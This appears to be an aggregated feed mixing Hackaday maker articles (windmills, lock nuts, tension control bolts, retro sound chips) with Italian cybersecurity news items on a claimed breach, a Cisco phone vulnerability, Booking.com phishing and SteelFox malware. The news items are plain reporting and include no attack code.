We aren’t sure what driver chip this particular display uses, but if you have one with the UC8151/IL0373, you can find some amazing MicroPython drivers for those chips.

youtube.com/embed/RGil4N-uiQw?…

hackaday.com/2024/11/08/teachi…

Recentemente, il gruppo di threat actors noto come Alpha Team ha rivendicato su un forum underground un attacco contro l’azienda italiana Brevi, uno dei principali distributori nel settore dell’Information Technology.

Secondo quanto pubblicato nel forum, il gruppo criminale avrebbe acquisito l’accesso ad un database della società, esponendo informazioni sensibili.

Attualmente, non siamo in grado di confermare l’accuratezza delle informazioni riportate da Alpha team, poiché non è stato rilasciato ancora alcun comunicato stampa ufficiale sul sito web di Brevi riguardo all’incidente, pertanto questa informazione è da ritenere come fonte di “intelligence”.

Nel forum underground, Alpha Team ha pubblicato un post dettagliato riguardante la presunta violazione, presentando vari link ai database e fornendo esempi di tabelle compromesse. Tra le informazioni mostrate, ci sono tabelle come “UTENTI” che potrebbero contenere dati personali e aziendali.

Chi è Alpha Team?

Alpha Team è un gruppo di cybercriminali esperti, noto per colpire aziende italiane di medie e grandi dimensioni attraverso attacchi di tipo ransomware e data leak. Gli obiettivi principali del gruppo includono aziende che, secondo il loro leader Z0rg, non implementano adeguate misure di sicurezza nonostante operino nel settore IT. La loro strategia prevede il furto e la pubblicazione di dati sensibili su forum underground nel caso le vittime rifiutino di pagare un “riscatto” o una sorta di “contributo per la sicurezza.”

Alpha Team giustifica i propri attacchi come un modo per “educare” le aziende alle migliori pratiche di sicurezza, benché lo scopo sia principalmente economico. In una intervista su Red Hot Cyber, il presunto leader di Alpha Team, Z0rg, ha affermato che il loro operato mira a dimostrare le falle nei sistemi di sicurezza delle aziende italiane.

Le vittime, come Brevi, si trovano spesso costrette a scegliere tra il pagamento e il rischio di un danno reputazionale e finanziario ancora più elevato, a causa della diffusione dei dati rubati.

L’Impatto sull’Industria Italiana

L’attacco a Brevi non è un caso isolato, ma parte di una serie di azioni mirate contro il settore IT italiano. Alpha Team ha già preso di mira altre aziende del settore mettendo in evidenza una vulnerabilità sistemica: una sicurezza informatica non correttamente applicata da moltissime aziende italiane.

L’attività del gruppo rappresenta un serio rischio per la continuità operativa e la sicurezza delle informazioni delle imprese italiane, che possono subire gravi danni economici e d’immagine se non riescono a rispondere adeguatamente a queste minacce.

L’incidente che ha coinvolto Brevi sottolinea la necessità di rafforzare le difese informatiche nelle aziende italiane, specialmente nel settore IT. Alpha Team continua a rappresentare una minaccia persistente per le imprese che non adottano misure di sicurezza avanzate, dimostrando quanto sia vulnerabile il tessuto aziendale italiano agli attacchi cyber.

Come nostra consuetudine, lasciamo sempre spazio ad una dichiarazione da parte dell’azienda qualora voglia darci degli aggiornamenti sulla vicenda. Saremo lieti di pubblicare tali informazioni con uno specifico articolo dando risalto alla questione.

RHC monitorerà l’evoluzione della vicenda in modo da pubblicare ulteriori news sul blog, qualora ci fossero novità sostanziali. Qualora ci siano persone informate sui fatti che volessero fornire informazioni in modo anonimo possono utilizzare la mail crittografata del whistleblower.

L'articolo Alpha Team rivendica un attacco informatico all’italiana Brevi nelle Underground criminali proviene da il blog della sicurezza informatica.

Il neuroscienziato di Tubinga Joel Frohlich si chiede: “Quando si accende per la prima volta la scintilla della coscienza umana?” Questa domanda è molto difficile per diversi motivi.

Innanzitutto, il concetto stesso di coscienza umana è vago e difficile da definire ai fini di tale ricerca. Sappiamo tutti di avere una coscienza, ma sorgono difficoltà quando cerchiamo di prenderne le distanze e di parlarne. È come cercare di descrivere oggettivamente le esperienze soggettive: un compito non facile nemmeno per scienziati esperti.

In secondo luogo, come osserva il neuroscienziato Christoph Koch, i bambini, sia nati che nel grembo materno, trascorrono la maggior parte del loro tempo in uno stato di sonnolenza. Ma da ciò non si può concludere che siano privi di coscienza. Il sonno non è la stessa cosa dell’assenza di pensiero; è solo distacco dal livello ordinario di percezione sensoriale.

Frohlich condivide i suoi pensieri su come affrontare questa domanda, sulla base di una recente revisione scientifica di cui è coautore.

La coscienza sorge dopo la nascita? La ricerca non ha ancora fornito una risposta chiara a questa domanda. Frohlich afferma che le analisi dell’attività elettrica cerebrale indicano un aumento della complessità neurale nel primo periodo postpartum, ma lui e i suoi colleghi hanno trovato prove del contrario. Naturalmente non tutta la complessità è funzionale; una parte di esso probabilmente rappresenta solo uno stato disordinato, che gradualmente si rimette in ordine. In altre parole, non tutta la maggiore complessità dell’attività cerebrale documentata dalla ricerca riflette necessariamente lo sviluppo delle capacità coscienti. E queste lunghe discussioni sono un altro vicolo cieco.

Gli scettici spesso dubitano che i neonati siano coscienti, citando l’impossibilità di avere un sé nell’infanzia: come può un bambino piccolo avere un’idea di sé stesso? Ma questa è una confusione di concetti. La presenza dell’esperienza non richiede l’esistenza obbligatoria dell’io, cioè della personalità. Da adulti, spesso ci perdiamo immergendoci in qualcosa, che si tratti di profonda ispirazione creativa, musica, esercizio fisico, lavoro o intimità. Simili stati senza ego si verificano anche durante la meditazione. Affermare che questi siano stati senza coscienza è assurdo. La coscienza non ha necessariamente bisogno di un “io”.

Frohlich suggerisce di considerare la nascita come un evento che “accende” la coscienza, necessaria per l’adattamento al nuovo ambiente postpartum. Se assumiamo che la coscienza serva a scopi pratici e non sia solo un sottoprodotto del cervello, allora c’è motivo di credere che nasca proprio alla nascita. Il neonato lascia l’ambiente sicuro del grembo materno e il bisogno del corpo di un’esistenza autonoma può creare un bisogno di consapevolezza e di esperienza soggettiva.

La capacità dei neonati di formarsi aspettative sul mondo che li circonda può essere la prova che sviluppano la coscienza fin dalla nascita. Alcuni neuroscienziati, come Anil Seth, aderiscono al concetto di “codificazione predittiva” della coscienza. Secondo questo punto di vista, la coscienza non nasce semplicemente dal flusso di dati sensoriali che entrano nel nostro cervello, ma piuttosto dalle nostre inferenze sulla realtà circostante. Queste inferenze si basano sia su nuove informazioni sensoriali che sulle nostre idee precedenti su come funziona il mondo.

In sintesi, ancora risulta poco chiaro il concetto di “coscienza” umano. Come possiamo quindi dire se una intelligenza artificiale è cosciente?

L'articolo Quando nasce davvero la coscienza? Se non lo sappiamo per l’uomo, come possiamo dirlo per un’IA? proviene da il blog della sicurezza informatica.

Si parla spesso del rapporto dei bambini con i dispositivi digitali. Anche dopo la circolare del Ministero dell’Istruzione e del Merito, guidato da Giuseppe Valditara, che introduce il divieto di utilizzo dei cellulari in classe, dall’infanzia fino alle medie, anche per scopi educativi e didattici. Ma i pericoli per la sicurezza dei bambini e dei dati si limitano all’uso dei cellulari a scuola? No! come vedremo, i pericoli più insidiosi possono nascondersi anche tra le mura domestiche, nei dispositivi dei genitori.

Un nuovo sondaggio Cisco mette in luce i rischi per la sicurezza derivanti dalla condivisione dei dispositivi aziendali con i propri figli.

Cisco, azienda leader nel settore tecnologico, ha recentemente condotto un sondaggio tramite Censuswide su 6116 genitori lavoratori di età superiore ai 18 anni di diversi Paesi europei ed extraeuropei (Regno Unito, Francia, Spagna, Svizzera, Italia, Polonia, Paesi Bassi, Svezia, Sudafrica, Emirati Arabi Uniti, Arabia Saudita e Germania) tra il 30 luglio e l’8 agosto 2024. Lo studio ha evidenziato come la condivisione dei dispositivi digitali, in particolare quelli utilizzati per lavoro, sia una pratica molto diffusa, nonostante i potenziali rischi per la sicurezza.

I risultati del sondaggio

Un terzo dei bambini ha accesso al dispositivo del genitore. Spesso l’utilizzo avviene senza supervisione e conoscendone i codici di accesso. Il 33% dei bambini accede ai dispositivi lavorativi dei genitori e solo il 24% degli intervistati dichiara di adottare l’autenticazione a due fattori (2FA) come misura di sicurezza. Un dato allarmante, considerando che questi dispositivi possono contenere informazioni aziendali sensibili.

La situazione in Italia

Secondo il sondaggio, la situazione in Italia è allarmante. 8 genitori su 10 hanno dichiarato di aver condiviso il proprio dispositivo lavorativo con almeno un figlio negli ultimi sei mesi. Inoltre, solo il 17% degli intervistati utilizza l’autenticazione a più fattori (MFA) per le attività lavorative più critiche, mentre meno della metà si affida ad una VPN. Ancora più bassa la percentuale di intervistati 38% che si affida a password considerate “forti”.

In un mondo in cui un numero crescente di dispositivi presenti nelle case sono connessi alla rete e condivisi tra i membri della famiglia diventa fondamentale utilizzare le migliori pratiche per garantire la massima sicurezza dei dati e dei propri dispositivi digitali. Tra queste buone pratiche ci sono: aggiornamenti regolari; password forti; attenzione ai link e agli allegati sospetti; software antivirus e anti-malware; backup regolari; rete wi-fi sicura; navigazione sicura. Tutte precauzioni indispensabili per proteggere dati aziendali, privacy e la sicurezza di tutta la famiglia.

I consigli degli esperti

Martin Lee, membro del Cisco Talos EMEA Lead, un gruppo di ricerca leader sulle minacce informatiche, sottolinea i rischi legati all’accesso non autorizzato ai dati aziendali: “Qualsiasi accesso non autorizzato a dati riservati costituisce una potenziale violazione. La mancanza di controllo da parte dei genitori quando i figli utilizzano i dispositivi aziendali introduce ulteriori rischi, come la possibilità di inviare o cancellare involontariamente dei dati o di commettere errori nella gestione della posta elettronica.”

Come proteggere i dispositivi aziendali

Per mitigare questi rischi, gli esperti di Cisco Talos suggeriscono alcune best practice:

• Creare account guest: Consentono ai familiari di utilizzare il dispositivo in modo limitato, senza accesso completo ai sistemi e ai dati aziendali.
• Adottare l’autenticazione a più fattori (MFA): Proteggere l’accesso alle applicazioni e ai sistemi aziendali con MFA o 2FA, utilizzando anche il riconoscimento biometrico.
• Utilizzare una VPN: Proteggere i dati sensibili rendendoli accessibili solo tramite VPN e richiedendo l’autenticazione MFA/2FA.
• Effettuare backup regolari: Proteggere i dati da eventuali danni al dispositivo (cadute, liquidi, ecc.) effettuando backup periodici.
• Educare alla sicurezza informatica: Sensibilizzare i familiari sui rischi legati all’uso dei dispositivi digitali e alle minacce informatiche.
• Definire politiche aziendali chiare: Implementare politiche aziendali che definiscano le responsabilità degli utenti in caso di violazioni della sicurezza.

In un mondo in cui il confine tra vita professionale e vita privata è sempre più sfumato, proteggere i dispositivi aziendali con misure di sicurezza efficaci è ormai indispensabile per garantire la sicurezza di dati sensibili e la serenità di tutta la famiglia.

L'articolo Dispositivi aziendali e bambini: i rischi nascosti della condivisione digitale! proviene da il blog della sicurezza informatica.

I truffatori informatici hanno trovato un nuovo modo per guadagnare denaro dai turisti utilizzando il popolare servizio di prenotazione Booking.com. Recentemente, in California, gli hacker hanno compromesso l’account di un hotel, cosa che ha permesso loro di lanciare un attacco di phishing. La vittima era un cliente che aveva appena prenotato una camera e ha ricevuto un messaggio tramite l’app di Booking.com che gli chiedeva di confermare i suoi dati, presumibilmente per completare la prenotazione. Il messaggio sembrava convincente poiché conteneva il nome dell’hotel e le informazioni sulla sua prenotazione.

Messaggio di phishing ( KrebsOnSecurity )

Booking.com ha confermato l’accaduto, aggiungendo che gli aggressori hanno avuto accesso ai dati grazie ad un attacco informatico nel sistema di uno dei suoi partner. Non ci sono state perdite nel sistema di Booking.com stesso.

In seguito all’incidente, Booking.com ha rafforzato le proprie misure di sicurezza e ha introdotto l’autenticazione a due fattori (2FA) obbligatoria per tutti i partner. Per accedere ai dettagli di pagamento ora è necessario inserire un codice monouso dall’app di autenticazione mobile. Tuttavia, i criminali stanno trovando modi per aggirare la sicurezza infettando i computer dei partner con malware per ottenere l’accesso agli account e inviare messaggi di phishing ai clienti.

Sito di phishing che si apre quando si fa clic su un collegamento in un messaggio di testo ( KrebsOnSecurity )

L’analisi dei social network ha dimostrato che tali schemi sono comuni non solo tra gli hotel, ma anche su altre piattaforme popolari.

Nel 2023, SecureWorks ha registrato un aumento degli attacchi malware volti a rubare dati dai partner di Booking.com. Secondo SecureWorks, gli attacchi sono iniziati nel marzo 2023 quando un hotel non ha abilitato l’autenticazione a più fattori, rendendo più semplice per i criminali informatici ottenere l’accesso all’account.

Nel giugno 2024, Booking.com ha segnalato un aumento del 900% degli attacchi di phishing, attribuito all’uso dell’intelligenza artificiale per creare schemi più efficaci. In risposta, l’azienda ha implementato soluzioni proprietarie di intelligenza artificiale che hanno bloccato 85 milioni di prenotazioni fraudolente e contrastato oltre 1,5 milioni di tentativi di phishing nel 2023.

Ulteriori indagini hanno rivelato che il dominio del sito Web falso inviato al cliente – guestsecureverification[.]com – era registrato con un indirizzo e-mail utilizzato per creare più di 700 domini di phishing destinati a servizi alberghieri e altre piattaforme popolari come Shopify e Steam.

La richiesta di account Booking.com compromessi rimane elevata tra i criminali informatici. I forum degli hacker offrono attivamente dati rubati, nonché servizi per monetizzare gli account compromessi. Alcuni criminali creano addirittura “le proprie agenzie di viaggio”, offrendo ai truffatori sconti sulle prenotazioni alberghiere.

SecureWorks ha scoperto che i phisher utilizzano malware per rubare le credenziali, ma oggi i criminali devono semplicemente acquistare le credenziali rubate sul mercato nero, soprattutto se i servizi non richiedono 2FA. Ciò è confermato dal caso della piattaforma cloud Snowflake, dove sono stati utilizzati account vulnerabili per rubare dati a più di 160 aziende.

L'articolo Phishing per le Vacanze! Come i Truffatori Derubano i Turisti su Booking.com proviene da il blog della sicurezza informatica.

While the Netherlands is the country most known for its windmills, they were originally invented by the Persians. More surprisingly, some of them are still turning after 1,000 years.

The ancient world holds many wonders of technology, and some are only now coming back to the surface like the Antikythera Mechanism. Milling grain with wind power probably started around DATE in Persia, but in Nashtifan, Iran they’ve been keeping the mills running generation-to-generation for over 1000 years. [Mohammed Etebari], the last windmill keeper is in need of an apprentice to keep them running though.

In a world where vertical axis wind turbines seem like a new-fangled fad, it’s interesting to see these panemone windmills are actually the original recipe. The high winds of the region mean that the timber and clay structure of the asbad structure housing the turbine is sufficient for their task without all the fabric or man-made composites of more modern designs. While drag-type turbines aren’t particularly efficient, we do wonder how some of the lessons of repairability might be used to enhance the longevity of modern wind turbines. Getting even 100 years out of a turbine would be some wicked ROI.

Wooden towers aren’t just a thing of the past either, with new wooden wind turbines soaring 100 m into the sky. Since you’ll probably be wanting to generate electricity and not mill grain if you made your own, how does that work anyway?

youtube.com/embed/HCQoLCcJBN0?…

hackaday.com/2024/11/07/help-w…

Although generative AI and large language models have been pushed as direct replacements for certain kinds of workers, plenty of businesses actually doing this have found that using this new technology can cause more problems than it solves when it is given free reign over tasks. While this might not be true indefinitely, the real use case for these tools right now is as a kind of assistant to certain kinds of work. For this they can be incredibly powerful as [Ricardo] demonstrates here, using Amazon Q to help with game development on the Commodore 64.

The first step here was to generate code that would show a sprite moving across the screen. The AI first generated code in all caps, as was the style at the time of the C64, but in [Ricardo]’s development environment this caused some major problems, so the code was converted to lowercase. A more impressive conversion was done in the next steps, as the program needed to take advantage of the optimizations found in the Assembly language. With the code converted to 6502 Assembly that can run on the virtual Commodore, [Ricardo] was eventually able to show four sprites moving across the screen after several iterations with the AI, as well as change the style of the sprites to arbitrary designs.

Although the post is a bit over-optimistic on Amazon Q as a tool specifically for developers, it might have some benefits over other generative AIs especially if it’s capable at the chore of programming in Assembly language. We’d love to hear anyone with real-world experience with this and whether it is truly worth the extra cost over something like Copilot or GPT 4. For any of these generative AI models, though, it’s probably worth trying them out while they’re in their early stages. Keep in mind that there’s a lot more than programming that can be done with some of them as well.

hackaday.com/2024/11/07/using-…

If you have a metal lathe just looking for some work, why not make your own lock nuts? That’s what [my mechanics insight] did when faced with a peculiar lock nut that needed replacing in a car. We can’t decide what we enjoyed more in the video you can watch below: the cross-section cut of a lock nut or the oddly calming videos of the new nut being turned on a lathe.

The mystery of the lock nut, though, isn’t how it works. The nylon insert is just a little too small for the bolt, and the bolt, being harder than nylon, taps a very close-fitting hole in the nylon as you tighten it. The real mystery is how that nylon got in there to start with.

As the video shows, you fabricate the nut with an open area to accept the nylon ring. Then, you use a tool to crimp the edges down to trap the ring. The video shows all the pieces being made: the nut, the ring, and the crimping tool.

As you might deduce, the crimping tool has to be harder than the nut material, so that takes some extra effort. But all the work is done on the lathe except the crimping. He uses a vise, but we’d imagine that an arbor press is more commonly used.

Lock washers and nuts seem like a simple topic, but it is way more complex than you probably thought. Way more complex.

Thanks to [the gambler] for the tip!

youtube.com/embed/otc2hwnTdYw?…

hackaday.com/2024/11/07/diy-lo…

There are a lot of things that get landfilled that have some marginal value, but generally if there’s not a huge amount of money to be made recycling things they won’t get recycled. It might not be surprising to most that this is true of almost all plastic, a substantial portion of glass, and even a lot of paper and metals, but what might come as a shock is that plenty of rechargeable lithium batteries are included in this list as well. It’s cheaper to build lithium batteries into one-time-use items like disposable vape pens and just throw them out after one (or less than one) charge cycle, but if you have some spare time these batteries are plenty useful.

[Chris Doel] found over a hundred disposable vape pens after a local music festival and collected them all to build into a battery powerful enough for an ebike. Granted, this involves a lot of work disassembling each vape which is full of some fairly toxic compounds and which also generally tend to have some sensitive electronics, but once each pen was disassembled the real work of building a battery gets going. He starts with testing each cell and charging them to the same voltage, grouping cells with similar internal resistances. From there he assembles them into a 48V pack with a battery management system and custom 3D printed cell holders to accommodate the wide range of cell sizes. A 3D printed enclosure with charge/discharge ports, a power switch, and a status display round out the build.

With the battery bank completed he straps it to his existing ebike and hits the trails, easily traveling 20 miles with barely any pedal input. These cells are only rated for 300 charge-discharge cycles which is on par for plenty of similar 18650 cells, making this an impressive build for essentially free materials minus the costs of filament, a few parts, and the sweat equity that went into sourcing the cells. If you want to take an ebike to the next level of low-cost, we’d recommend pairing this battery with the drivetrain from the Spin Cycle.\

Thanks to [Anton] for the tip!

youtube.com/watch?v=VcVp9T8f_W…

hackaday.com/2024/11/07/dispos…

Europe’s electronic communications operators have an essential role to play in achieving the EU’s ambitions for digital leadership, industrial competitiveness – but the sector is also a driver for social inclusion and ecological transition.

euractiv.com/section/digital/s…

The telecommunications sector needs substantial investment and regulatory reforms to meet the European Union’s digital and sustainability targets. Nicolas Guérin, President of the French Telecoms Federation (FFTélécoms), spoke with Euractiv’s Xhoi Zajmi.

euractiv.com/section/digital/n…

Do you remember the fourth-place winner in the 2022 Hackaday Prize? If it’s slipped your mind, that’s okay—it was Boondock Echo. It was a radio project that aimed to make it easy to record and playback conversations from two-way radio communications. The project was entered via Hackaday.io, the judges dug it, and it was one of the top projects of that year’s competition.

The project was the brainchild of Mark Hughes and Kaushlesh Chandel. At the 2023 Hackaday Supercon, Mark and Kaushlesh (KC) came back to tell us all about the project, and how far it had come one year after its success in the 2022 Hackaday Prize.

Breaker, Breaker

youtube.com/embed/rg8EBrH9bMU?…

The talk begins with a simple video explainer of the Boondock Echo project. Basically, it points out the simple problem with two-way radio communications. If you’re not sitting in front of the receiver at the right time, you’re going to miss the message someone’s trying to send you. Unlike cellular communications, Skype calls, or email, there’s no log of missed calls or messages waiting for you. If you weren’t listening, you’re out of luck.
The device works with conventional amateur radios and can capture messages, store them in the cloud, and even react to them.
Mark was inspired to create a device to solve these problems by his father’s experience as an emergency responder with FEMA. Often, his father would tell stories about problems with radios and missed transmissions, and Mark had always wondered if something could be done.

Boondock Echo is the device that hopes to change all that. It’s a device designed for recording and playback of two-way radio communications. The hardware is based around the ESP32, which is able to capture analog audio from a radio, digitize it, and submit it to the Boondock Echo online service. This also enables more advanced features—the system can transcribe audio to text, and even do keyword monitoring on the results and email you any important relevant messages.
The Boondock Echo service can be set up to react to keywords and provide notifications in turn.
Rather amazingly, Hackaday actually helped spawn this project. Mark had an idea of what Boondock Echo should do, but he didn’t feel like he had the full set of technical skills to implement it. Then, Mark met KC via a Hackaday Hackchat, and the two started a partnership to develop the project further. Eventually, they won fourth place in the 2022 Hackaday Prize, which netted them a tasty $10,000 which they could use to develop the project further. They then brought in Mark’s friend Jesse on the hardware side, and things really got rolling.

The hope was to start producing and delivering Boondock Echo devices. Of course, nobody is immune to production hell, and it was no different for this team. KC dives into the story of how the device relied on the ESP32-A1S module. When they went to make more, this turned out to be problematic. They found some of the purchased modules worked and some didn’t. Stripping the RF shields off the pre-baked modules, they found that while they all included audio codec chips marked “8388,” some modules had a different layout and functioned differently. And these were parts with FCC IDs, identical part numbers, and everything! This turned into a huge mess that derailed the project for some time. The project had to be retooled to work with the ESP32-based AI Thinker Audio Kit, to which they added a custom “sidekick” board to handle interfacing with the desired radio hardware.
Dodgy parts caused a great deal of trouble for the team.
Mark notes that there were some organizational lessons learned through this difficult journey. He talks about the value of planning and budgets when it comes to any attempt to escape the “Valley of Death” as a nascent startup. Mark also explains how Boondock Echo came to seek investors to grow further when he realized they didn’t have the resources to make it on their own.

“You don’t go out asking for $10,000 from family and friends, you go out and you ask for a heck of a lot more than that from professional investors,” explains Mark. “It’s a lot easier to come up with $100,000 than $10,000, because the venture capitalists don’t play in the $10,000 price range.” Of course, he notes that this comes with a tradeoff—investors want a stake in the company in exchange for cold, hard cash. Moving to this mode of operation involved creating a company and then dividing up shares for all the relevant stakeholders—a unique challenge of its own. Mark and KC explain how they handled the growing pains and grew their team from there.
The successful live demo was a moment of some joy. It used a modified Supercon badge to display transcription of an audio message captured by a Boondock Echo device.
The rest of the talk covers the product itself, and we get a demo of what it can do. KC and Mark show us how the Boondock Echo units capture audio, record it, and submit it to the cloud. From there, we get to see how things like AI transcription, keyword triggers, and notifications work, and there’s even a fun live demo. Beyond that, Mark explains how you can order the hardware via CrowdSupply, and sign up with the Boondock Echo cloud service.

It’s not just neat to see a cool project, it’s neat to see something like this grow from an idea into a fully-fledged business. Even better, it grew out of the Hackaday community itself, and has flourished from there. It’s a wonderful testament to what hackers can achieve with a good idea and the will to pursue it.

hackaday.com/2024/11/07/2023-h…

Sound chips from back in the day were capable of much more than a few beeps and boops, and [InazumaDenki] proves it in a video recreating recognizable real-world sounds with the AY-3-8910, a chip that was in everything from arcade games to home computers. Results are a bit mixed but it’s surprising how versatile a vintage sound chip that first came out in the late 70s is capable of, with the right configuration.
Recreating a sound begins by analyzing a spectrograph.
Chips like the AY-3-8910 work at a low level, and rely on being driven with the right inputs to generate something useful. It can generate up to three independent square-wave tones, but with the right approach and setup that’s enough to get outputs of varying recognizability for a pedestrian signal, bird call, jackhammer, and referee’s whistle.

To recreate a sound [InazumaDenki] begins by analyzing a recording with a spectrogram, which is a visual representation of frequency changes over time. Because real-world sounds consist of more than just one frequency (and the AY-3-8910 can only do three at once), this is how [InazumaDenki] chooses what frequencies to play, and when. The limitations make it an imperfect reproduction, but as you can hear for yourself, it can certainly be enough to do the job.

How does one go about actually programming the AY-3-8910? Happily there’s a handy Arduino AY3891x library by [Andreas Taylor] that makes it about as simple as can be to explore this part’s capabilities for yourself.

If you think retro-styled sound synthesis might fit into your next project, keep in mind that just about any modern microcontrollers has more than enough capability to do things like 80s-style speech synthesis entirely in software.

youtube.com/embed/9UH4yG8BpEQ?…

hackaday.com/2024/11/07/hear-a…

È stata scoperta una vulnerabilità critica (CVE-2024-20445) in una serie di telefoni IP Cisco che consente agli aggressori remoti di accedere a informazioni sensibili. I modelli interessati includono il telefono da tavolo 9800, il telefono IP 7800 e 8800 e il videotelefono 8875.sec.cloudapps.cisco.com/securi…nvd.nist.gov/vuln/detail/CVE-2…

Il problema è legato all’errata memorizzazione dei dati nell’interfaccia web dei dispositivi che utilizzano il protocollo SIP, che porta all’esposizione di informazioni sensibili (CWE-200) quando la funzione Accesso Web è abilitata. Gli aggressori possono sfruttare questa vulnerabilità semplicemente visitando l’indirizzo IP di un dispositivo vulnerabile.

Un attacco riuscito potrebbe potenzialmente ottenere l’accesso a informazioni come le registrazioni delle chiamate, compromettendo la privacy dell’utente. È importante notare che l’accesso Web è disabilitato per impostazione predefinita, il che riduce leggermente il rischio. Tuttavia, una volta attivata, la vulnerabilità diventa sfruttabile.

Cisco ha confermato il problema e ha rilasciato aggiornamenti per risolvere la vulnerabilità. Sfortunatamente, è impossibile aggirare il problema se non aggiornando il software. Tutti gli utenti che hanno abilitato l’accesso Web devono disabilitare questa funzione o aggiornare immediatamente il software.

Al momento della pubblicazione, la vulnerabilità colpisce Cisco Desk Phone 9800, IP Phone 7800 e 8800 (escluso Wireless IP Phone 8821) e Video Phone 8875. Per proteggere i propri dati, si consiglia agli utenti di verificare se la funzione Accesso Web è abilitata e, se necessario, disabilitalo o installa gli aggiornamenti.

L'articolo Scoperta Vulnerabilità Critica nei Telefoni Cisco: A Rischio i Dati Sensibili di Migliaia di Utenti proviene da il blog della sicurezza informatica.

If there’s an enduring image of how large steel structures used to be made, it’s probably the hot riveting process. You’ve probably seen grainy old black-and-white films of a riveting gang — universally men in bib overalls with no more safety equipment than a cigarette, heating rivets to red heat in a forge and tossing them up to the riveters with a pair of tongs. There, the rivet is caught with a metal funnel or even a gloved hand, slipped into a waiting hole in a flange connecting a beam to a column, and beaten into submission by a pair of men with pneumatic hammers.

Dirty, hot, and dangerous though the work was, hot riveted joints were a practical and proven way to join members together in steel structures, and chances are good that any commercial building that dates from before the 1960s or so has at least some riveted joints. But times change and technology marches on, and riveted joints largely fell out of fashion in the construction trades in favor of bolted connections. Riveting crews of three or more men were replaced by a single ironworker making hundreds of predictable and precisely tensioned connections, resulting in better joints at lower costs.

Bolted joints being torqued to specs with an electric wrench might not have the flair of red-hot rivets flying around the job site, but they certainly have a lot of engineering behind them. And as it turns out, the secret to turning bolting into a one-person job is mostly in the bolt itself.

A Desk With a View

My first exposure to tension control bolts started with getting really lucky at work. Back in the early 2000s my department relocated, and somehow I managed to get a desk with an actual window. Being able to look out at the world was amazing, but then one day the company started building an addition right outside my window. That was a mixed bag for me; true, I’d lose my view as the six-story structure was built, but in the meantime, I’d get to watch its construction from the comfort of my desk.

I watched with amazement as the steel frame went up, the ironworkers quickly and efficiently bolting the columns and beams together. One thing I noticed was that bolting seemed to be a one-man job, with a single ironworker tightening the nut with an electric wrench without the need for anyone backing up the head of the bolt on the other side of the connection. This perplexed me; how could the bolt not just spin in the hole?

I got my answer when I saw something fall out of the wrench after the ironworker removed it from the tightened connection. From my perch by the window it looked like the end of a splined shaft, and I could see that one end was obviously sheared off. That’s when I noticed that all the as-yet untightened bolts had the same spline sticking out past the nut, and it all clicked: the spline must fit into a socket inside the wrench coaxial to the socket that tightens the nut, which holds the bolt so the nut can be tightened. What’s more, it was clear that you could use this scheme to automatically torque the connection by designing the spline to shear off at the required torque. Genius!

youtube.com/embed/3atVsn-4M1o?…

Stretch and Snap

While I wasn’t quite right with my analysis, I was pretty close. I only learned much later (like, while researching this article) that the bolts used for structural framing are called tension control bolts, or TCBs, and that there’s a lot of engineering that goes into them. But to understand them, we have to take a look at bolted connections, and find out how they work to keep everything from buildings to bridges from falling down.

We’ve taken an in-depth look at bolted connections before, but for the TL;DR set, the short story is that bolts are essentially really strong springs. When you tighten a nut on a bolt, the bolt stretches a bit, which provides a clamping force on whatever is trapped between the head of the bolt and the nut. The degree of stretching, and therefore the amount of clamping force, depends on the strength of the material used to make the bolt, the size of the bolt, and the amount of torque applied. That’s why most bolted assemblies have a specified torque for all the bolts in the joint.

For structural steel, joints between framing members are carefully designed by structural engineers. A host of calculations go into each joint, resulting in detailed bolting plans. Some joints have a lot of bolts, sometimes 20 or more depending on the application. The hole pattern for each member is determined before any steel is cut, and each framing member usually arrives from the fabricator with the exact number of holes specified in the plan. The plan also specifies which grade of TC bolt is to be used on each joint — more on that below — as well as the diameter and length of each bolt.
Typical tension control bolts. The internal socket on the shear wrench grips the spline feature at the far end to counter the torque applied while tensioning the bolt, then twists it off. Source: LeJeune Bolt
As ironworkers build the frame, they first use a spud wrench to line up the bolt holes in the two members they’re bolting together. A spud wrench is a large open-end or adjustable wrench on a long handle that tapers to a point. The handle is used to drift the bolt holes into alignment while the ironworker inserts a TC bolt into the other holes. The bolts are initially just hand-tightened, but a critical part of the assembly process, called snugging or pre-tensioning, follows.

Snugging is somewhat loosely defined as the tightness achieved “with a few impacts” of an impact wrench, or “the full effort of an ironworker” using a standard spud wrench. Everything about snugging is very subjective, since the number of “ugga-duggas” that count as a few impact wrench blasts varies from user to user, and ironworkers similarly can apply a wide range of force to a wrench. But the idea is to bring the framing members into “firm contact,” which generally amounts to about 10 kps or “kips”, which is 10,000 pounds per square inch (about 70 MPa).

Once all the bolts in the joint are pre-tensioned, final tensioning is performed. The tool I saw those ironworkers using on TC bolts all those years ago goes by many names, with “shear wrench” or “TC gun” being the most generic. It’s also known as a “LeJeune gun” after a major manufacturer of TC bolts and tooling. Some shear wrenches are pneumatically powered, but more are electrically operated, with cordless guns becoming increasingly popular. The final tightening cycle begins by engaging the TC bolt spline with the internal socket and the nut with the outer socket. The outer socket tightens the nut to a specified torque, at which point a slip-clutch shifts power transmission from the outer socket to the inner socket, reversing the direction of rotation in the process. This applies enough torque to the spline to twist it clean off the TC bolt at the weakest point — the narrowed neck between the spline and the threaded section of the bolt. This leaves the bolt properly tensioned and with just the right amount of thread showing.

Tools of the Trade

TC bolts generally come in two grades: A325 and A490. Both are based on ASTM International standards, with A325 bolts covering the tensile range of 120 to 150 kps (830 to 1,040 MPa), and A490 covering 150 to 173 kps (1,040 to 1,190 MPa). Most TC bolts have a rounded head, since there’s no need to grip the bolt from the head end. That provides a smoother surface on the head side of the joint, making it less likely to get damaged during installation. Depending on the application, TC bolts can be treated to prevent corrosion, either with galvanizing or a passivated treatment.

If a TC bolted joint needs to be taken apart, the fact that the spline has already been snapped off presents a problem. To get around this, a special accessory for the wrench known as a reaction bar is used. This is essentially an inner socket sized for the nut and an outer ring with a sturdy torque arm welded to it. The arm jams against and adjacent nut and provides the counter-rotation needed to loosen the nut.

youtube.com/embed/bVvkMvB4Dt8?…

Lot testing is also very important for code compliance. This involves picking random TC bolts from every lot to test on a Skidmore-Wilhelm machine, which hydraulically measures the tension on a bolt. Strict procedures for pretensioning and final tensioning of each bolt are followed, and results are recorded as part of the engineering records of a structure.

hackaday.com/2024/11/07/mechan…

Gli esperti di Kaspersky Lab hanno parlato del nuovomalware SteelFox, che si maschera da programmi popolari come Foxit PDF Editor e AutoCAD Sfrutta la potenza delle macchine infette per estrarre criptovalute e ruba anche dati riservati degli utenti.

